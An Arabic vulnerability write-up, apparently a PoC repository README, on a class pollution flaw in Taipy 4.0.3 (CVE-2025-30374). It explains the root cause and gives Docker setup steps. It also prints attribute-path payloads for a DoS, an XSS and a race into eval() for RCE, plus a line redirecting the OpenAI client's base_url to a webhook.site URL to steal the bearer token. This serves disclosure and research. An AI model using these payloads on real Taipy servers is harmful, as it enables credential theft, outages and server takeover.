
أكواد استغلال (PoCs) لثغرة CVE-2025-30374، وهي خلل تلوث الفئات في Taipy، تُظهر تنفيذ الأكواد عن بُعد (RCE)، وXSS المنعكسة، وحرمان الخدمة (DoS)، وتسريب بيانات اعتماد OpenAI، مع نصوص برمجية لإعادة الإنتاج تعتمد على Docker.
تم تحديد ثغرة تلوث الفئات (Class Pollution) في Taipy الإصدار v4.0.3 (أحدث إصدار وقت الاكتشاف). تسمح هذه الثغرة للمهاجمين غير المصرح لهم باستبدال سياق وقت التشغيل على جانب الخادم في Taipy، مما يؤدي إلى عواقب وخيمة مثل RCE وReflected XSS وDenial of Service (DoS) وتسريب بيانات اعتماد التفويض الحساسة (مثل توكنات OpenAI).
الخلفية
تلوث الفئات (وهو مماثل لتلوث النموذج الأولي في JavaScript) هو ثغرة حديثة نسبيًا في Python. يحدث عندما يتمكن المهاجم من استبدال المتغيرات العمومية لوحدة ما أو سمات فئات ودوال معينة بشكل غير متوقع أثناء وقت التشغيل. يُصنَّف هذا المشكل ضمن CWE-915.
لمزيد من المعلومات حول تلوث الفئات، يرجى الرجوع إلى:
[1] Class Pollution Wiki
[2] CWE-915: التحكم غير السليم في تعديل سمات الكائنات المحددة ديناميكيًا
ثغرة تلوث الفئات المكتشفة في Taipy
يعود السبب الجذري لهذه الثغرة إلى استخدام Taipy لدالة set عودية لتحديث قيم المتغيرات في حالات Taipy. كلا المعاملين name وvalue مشتقان من مدخلات جانب العميل ويفتقران إلى التحقق السليم. يسمح ذلك للمهاجم بحقن مسارات سمات خبيثة، مثل ، لاستبدال طريقة الخاصة بـ .
_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.setset_TaipyBaseيتم استدعاء الدوال التالية في مسارات متعددة عبر _manage_message لتحديث الحالات من جانب العميل:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
الإعداد
جميع اختبارات إثبات المفهوم (PoCs) أدناه تستهدف تطبيق الدردشة التجريبي المضمّن في هذا المستودع (انظر app/)، وهو مبني على العرض التجريبي الرسمي Taipy LLM Chat (https://github.com/Avaiga/demo-llm-chat) ويُثبّت Taipy 4.0.3 (الإصدار وقت الاكتشاف). قم ببنائه وتشغيله باستخدام Docker:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
لا تحتاج اختبارات PoC الخاصة بـ DoS وXSS وRCE إلى مفتاح OpenAI صالح. أما بالنسبة لاختبار تسريب التوكن، فابدأ التطبيق بمفتاح حقيقي بحيث يحمله الطلب المُسرَّب:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
ثم شغّل البرنامج النصي المقابل من جذر المستودع (مثل python poc-dos.py). ثبّت تبعيات العميل أولاً باستخدام pip install "python-socketio[client]" requests.
النتيجة 1: DoS
يمكن العثور على الاستغلال الكامل في: poc-dos.py
poc-dos.py يقوم باستبدال طريقة set الخاصة بفئة _TaipyBase المشتركة بعدد صحيح غير قابل للاستدعاء، باستخدام متغير حامل مرتبط كنقطة دخول:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
نظرًا لأن كل حامل قيم في Taipy (_TaipyData, _TaipyLov, _TaipyLovValue, ...) مشتق من _TaipyBase، فإن الخادم يرفع خطأ TypeError: 'int' object is not callable أثناء إعادة تقييم أي متغير مرتبط. يؤثر هذا على كل جلسة، وليس فقط جلسة المهاجم، ويستمر حتى إعادة تشغيل التطبيق.
النتيجة 2: تسريب توكن OpenAI
يمكن العثور على الاستغلال الكامل في: poc-token-exfil.py
يحتفظ التطبيق التجريبي بكائن openai.Client في متغير عمومي للوحدة (client)، وهو مرتبط بحالة Taipy ويُستخدم كـ state.client.chat.completions.create(...). يقوم poc-token-exfil.py بتلويث client.base_url بعنوان URL يتحكم فيه المهاجم:
client.base_url = https://webhook.site/<your-uuid>
يتم بعد ذلك إعادة توجيه كل طلب دردشة لاحق، الذي يحمل ترويسة Authorization: Bearer <OPENAI_API_KEY> والمحادثة الكاملة، إلى الخادم الذي يتحكم فيه المهاجم، مما يؤدي إلى تسريب توكن OpenAI.
النتيجة 3: XSS

في الدالة التالية، عندما يحاول التطبيق عرض محتوى المستخدم، إذا لم يتم العثور على العارض المناسب، فإنه يتراجع إلى إرجاع type(content).__name__ كاستجابة HTML:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
ومع ذلك، فإن سمة __name__ لكائن الفئة قابلة للتعيين عبر تلوث الفئات، على سبيل المثال tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. يمكن للمهاجم استبدال هذه السمة بحمولة HTML أو JavaScript خبيثة.
يمكن العثور على الاستغلال الكامل في: poc-xss-no-dot.py (يعمل ضد الإصدار v4.0.3) وpoc-xss.py (البديل ذو النقطة "U"، Taipy ≤ 4.0.2).
النتيجة 4: RCE

بعد ذلك، نعرض كيف نصل إلى هجوم RCE.
تتيح ثغرة تلوث الفئات للمهاجمين تعيين سمات عشوائية على الكائنات التي تظهر في حالة الجلسة، والتي لا تحتوي على العديد من الكائنات الحساسة افتراضيًا. ومع ذلك، وجدنا أنه يمكن استغلال مسار Gui.on_action لاستدعاء معالج Gui.table_on_edit، مما يتسبب في ربط كائنات جديدة من وحدة __main__ بحالة الجلسة. في السطر التالي، يؤدي استدعاء getattr على كائن الحالة تلقائيًا إلى تشغيل عملية الربط، بينما يعيد استدعاء setattr اللاحق تعيين القيمة المرتبطة فورًا إلى None:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
يخلق هذا السلوك نافذة سباق قصيرة حيث توجد مراجع الكائنات، مثل فئة Gui، مؤقتًا في حالة الجلسة. خلال هذه النافذة، يمكن للمهاجمين استغلال تلوث الفئات لاستبدال السمات على تلك الكائنات.
كما اكتشفنا أن سمة Gui.__SELF_VAR تُستخدم كبادئة عند بناء التعبيرات التي يتم تمريرها إلى دالة eval() المدمجة في Python:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
من خلال استبدال قيمة __SELF_VAR عبر تلوث الفئات، يمكن للمهاجم التحكم في التعبير الذي يتم تقييمه، مما يؤدي في النهاية إلى تنفيذ تعليمات برمجية عشوائية على الخادم.
يمكن العثور على الاستغلال الكامل في: poc-rce-no-dot.py (يعمل ضد الإصدار v4.0.3) وpoc-rce.py (البديل ذو النقطة "U"، Taipy ≤ 4.0.2). كلاهما يربط كائن Gui بحالة الجلسة عبر مسار on_action الذي يستدعي table_on_edit، ثم يضعان عملية كتابة تلوث الفئات في سباق ضد هذا الربط، لذا قد يحتاجان إلى عدة محاولات للنجاح.
يمكن لأي مستخدم لـ Taipy استغلال هذه الثغرة لشن هجمات RCE وXSS المنعكسة وحجب الخدمة (DoS) وتسريب بيانات اعتماد التفويض الحساسة (مثل توكنات OpenAI).